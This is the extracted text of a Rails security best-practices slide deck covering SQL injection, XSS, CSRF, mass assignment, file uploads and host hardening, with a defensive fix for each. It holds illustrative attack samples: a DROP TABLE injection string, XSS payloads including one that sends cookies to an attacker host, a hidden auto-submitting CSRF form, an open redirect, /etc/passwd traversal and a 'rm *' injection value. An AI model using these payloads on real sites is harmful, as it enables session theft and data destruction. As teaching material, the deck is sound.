Rails Security Best Practices

bemutefrogtownΑσφάλεια

18 Νοε 2013 (πριν από 3 χρόνια και 9 μήνες)

95 εμφανίσεις

Rails
Security
Best
Practices
http://ihower.tw
2010/3
About Me

冀˖z
a.k.a. ihower

http://ihower.tw

http://twitter.com/ihower

http://github.com/ihower

Ruby on Rails Developer since 2006

Ruby Taiwan Community

http://ruby.tw
Defense in Depth

Network: firewalls, IDS

Operating system

Web server

Web application

Database
75% of attacks are at the
web application layer

(By The Gartnet Group estimation)
What is Security?

a measurement, not a characteristic

not a simple requirement to be met...

must be balanced with expense

it’s easy and relatively inexpensive to provide a sufficient level of security
for most applications. But if you need more...

must be balanced with usability

it’s often increase security also decrease the user usability...

must be part of the design
(from PHP Security Guide: Overview)
Okay, your users are evil,
they will give you illegitimate operation and data.
Agenda

Information leaks

Session

SQL injection

Mass assignment

Unscoped finds

Controller Exposing methods

XSS

CSRF

File uploads/download

DoS

Host
Information Leaks

Rails app?

Web and Application server?

SVN metadata?
Rails app?

Default static files

/javascript/application.js

/stylesheets/application.css

/images/

URL schema

/post/show/3

/users/5

404/500/422 pages
Web and Application
Server?

Server Header

apache

nginx

mongrel

mod_rails
Disable Server Header
Server
:Apache
/
2.2
.
11
(Ubuntu) PHP/
5.2
.
6
-3ubuntu4.
5
with Suhosin-Patch
Phusion_Passenger/
2.2
.
9
# apache2.conf
ServerSignature Off
ServerTokens Prod
Server
:Apache

SVN metadata

GET
http://your
_site.org/.svn/entries
<DirectoryMatch
"^/.*/\.svn/"
>
ErrorDocument
403
/
404
.html
Order allow,deny
Deny from all
Satisfy All
</DirectoryMatch>

Or just delete it:
http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
Sensitive Information

Do not store sensitive information in the
clear

cookie

session(or flash)

memory for a long time

log files

cache
Filter Log params
Processing UsersController
#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
Parameters: {
"user"
=>{
"name"
=>
"eifion"
,
"password_confirmation"
=>
"secret"
,
"password"
=>
"secret"
},
"commit"
=>
"Register"
,
"authenticity_token"
=>
"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"
}
# Rails 2.x
class
ApplicationController < ActionController::Base
filter_parameter_logging
"password"

end
Processing UsersController
#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST]
Parameters: {
"user"
=>{
"name"
=>
"susan"
,
"password_confirmation"
=>
"[FILTERED]"
,
"password"
=>
"[FILTERED]"
},
"commit"
=>
"Register"
,
"action"
=>
"create"
,
"authenticity_token"
=>
"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"
,
"controller"
=>
"users"
}
l

Cookie Session Storage

Don’t use a trivial secret

Don’t store any secret information here

Or.... just switch to another session storage
# config/initializers/session_store.rb
ActionController::Base.session = {

:key
=>
'_app_session'
,

:secret
=>
'0x0dkfj3927dkc7djdh36rkckdfzsg...'
}
Session
The session id is a 32 byte long MD5 hash value.

Hijacking

Fixation

reset_session after every login
SQL injection
Project.find(
:all
,
:conditions
=>
"name = '
#{params[
:name
]}
'"
)
SELECT * FROM projects WHERE name =
'x'; DROP TABLE users; --’
l
x'; DROP TABLE users; --
SQL injection
vulnerabilities:

find_by_sql

execute

find with conditions in a string

limit and offset (before rails 2.1.1)

group_by

order
Always use the hash or
array form
Project.find(
:all
,
:conditions
=> {
:name
=> params[
:name
] } )
# or
Project.find(
:all
,
:conditions
=> [
"name = ?"
, params[
:name
] ] )

Only allow predefine
value
class
User < ActiveRecord::Base

def

self
.find_with_order(order)

raise

"SQL Injection Warning"

unless
[
"id"
,
"id desc"
].include?(order)
find(
:all
,
:limit
=>
1
,
:order
=> order )

end

end

Use quote if you need
pass it directly
ActiveRecord::Base::connection.quote
class
User < ActiveRecord::Base

def

self
.find_with_order(order)
find(
:all
,
:order
=> connection.quote(order) )

end

end

Mass assignment
l
def
create
params[
:user
]
#=> {:name => “ow3ned”, :is_admin => true}

@user
= User.create(params[
:user
])
end
def
update

@user
= User.update_attributes(params[
:user
])
end
Protect it!
class
User < ActiveRecord::Base
attr_protected
:admin
end
# or
class
User < ActiveRecord::Base
attr_accessible
:name
end


Assign protected
attributes manually
params[
:user
]
#=> {:name => "ow3ned", :admin => true}
@user
= User.new(params[
:user
])
@user
.admin
#=> false # not mass-assigned
@user
.admin =
true
@user
.admin
#=> true
Unscoped finds
class
UserOrdersController < ApplicationController
def
show

@order
= Order.find(params[
:id
])
end
def
show

@order
= current_user.orders.find(params[
:id
]
end

l
Controller Exposing
methods

Use protected and private

If use RESTful design, do not use default
routes

http://ihower.tw/blog/archives/3265
<script>
alert
(
'HACK YOU!'
);
</script>
<img
src
=javascript:alert('HACK YOU!')>
<table
background
=
"javascript:alert('HACK YOU!')"
>
<script>
document.
write
(document.cookie);
</script>
<script>
document.
write
(
'<img src="http://www.attacker.com/'
+
document.cookie +
'">'
);
</script>
XSS
(Cross-Site Scripting)
malicious users inject client-side script into web pages viewed by other users

Do not want to build black-list, you can find more at
http://ha.ckers.org/xss.html
XSS Protection (Rails2)

Use escapeHTML() (or its alias h()) method

Plugins

http://github.com/nzkoz/rails_xss (for Rails 2.3)

http://agilewebdevelopment.com/plugins/
safe_erb

http://code.google.com/p/xss-shield/
(Tainting way)

Rails 3 auto escape string

Unless you html_safe or raw string

“psafe/p”.html_safe

raw(“psafe/p”)
XSS Protection (Rails3)
Allow user to use
simple HTML code

Use white-list sanitize() method

If you use Textile or Markdown markup
language, you still need sanitize it.
CSRF
Cross-Site Request Forgery
Use another users’ authorization token to
interact with a web application as the trusted
user in a malicious way.
CSRF protection (1)

Use GET request for safe operation such as
a query, read operation, or lookup

Use POST request for any destructive
actions such as create, update, delete
But...

POST requests can be sent automatically,
too. An example:
<a
href
=
"
http://www.harmless.com/
"

onclick
=
"
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;"
>To the harmless survey
</a>
CSRF protection (2)
protect_from_forgery will check all POST requests for a security token
class
ApplicationController < ActionController::Base
protect_from_forgery
end
<form action=
"/projects/1"

class
=
"edit_project"
enctype=
"multipart/form-data"

id=
"edit_project_1"
method=
"post"
>
<div style=
"margin:0;padding:0;display:inline"
>
<input name=
"_method"
type=
"hidden"
value=
"put"
/>
<input name=
"authenticity_token"
type=
"hidden"
value=
"cuI
+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA="
/>
</div>

Redirection
Do not allow user to pass (parts of) the URL for redirection directly
def
legacy
redirect_to(params.update(
:action=
>
'main'
))
end
http://www.example.com/site/legacy?param1=xy&param2=23&
host=www.attacker.com
l
File Uploads: Overwrite

Make sure file uploads don’t overwrite
important files. eg. “../../../etc/passwd”

Validate file name is simple. Don’t try to
remove malicious parts.

Use plugins: attachment_fu or paperclip
File Uploads: Executable

never to allow users to upload any extension
associated with executable content on your
site (.php, .cgi ...etc)

when user download, set the appropriate
Content-Type HTTP header, eliminate the
potential for XSS attacks.

or never let these files be not accessible to
your web server (outside the DocumentRoot
in Apache)
File downloads
Make sure users cannot download arbitrary files.
send_file(
'/var/www/uploads/'
+ params[
:filename
])
l
Command Line
Injection
system
(
"/bin/echo"
,
"hello; rm *"
)
# prints "hello; rm *" and does not delete files
l
denial-of-service
attacks (DoS)

Avoid Long-running action, use background-
processing.

Don’t bother your application server

Use Web server provide static files

Use HTTP reverse proxy if need
Host

Platform (Windows, Linux, Solaris, BSDs)
choosing one which you can trust and familiar

Firewall
you can use nmap tool to show which ports are open

SSH: move port 22 to another

Turn off any services that you aren’t using.

Hire system administrator to help
Your time as a developer should be spent on the things your are good at.
One more concept...
Fail Close
# fail open way, it’s bad
def
show

@invoice
= Invoice.find(params[
:id
])

unless

@user
.validate_code(
@invoice
.code )
redirect_to
:action
=>
'not_authorized'

end
end
# fail close way
def
show

@invoice
= Invoice.find(params[
:id
])


if

@user
.validate_code(
@invoice
.code )
redirect_to
:action
=>
'authorized
else
redirect_to :action => '
not_authorized
'
end
end
l

Whitelisting
use whitelist, blacklist is hardly complete
admins =
%{ihower ihover}
# fail close way
if
admins.include? user
redirect_to
:action
=>
'authorized'
else
redirect_to
:action
=>
'not_authorized'
end
# fail open way, don’t do this
if
!admins.include? user
redirect_to
:action
=>
'not_authorized'

else
redirect_to
:action
=>
'authorized'
end
l

Conclusion

Rails has many security features enabled by
default

SQL quoting

HTML sanitization

CSRF protection
Reference

Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application
(Pragmatic)

Rails2 Chap.13 Security and Performance Enhancements (friendsof)

Advanced Rails Chap.5 Security (O’Reilly)

Security Audit by Aaron Bedra (Peepcode)

Security on Rails (Pragmatic)

PHP Security Guide

http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap

http://guides.rubyonrails.org/security.html

http://www.rorsecurity.info

http://asciicasts.com/episodes/178-seven-security-tips

http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/

http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide

http://www.owasp.org
The End
︊ᑽﭩ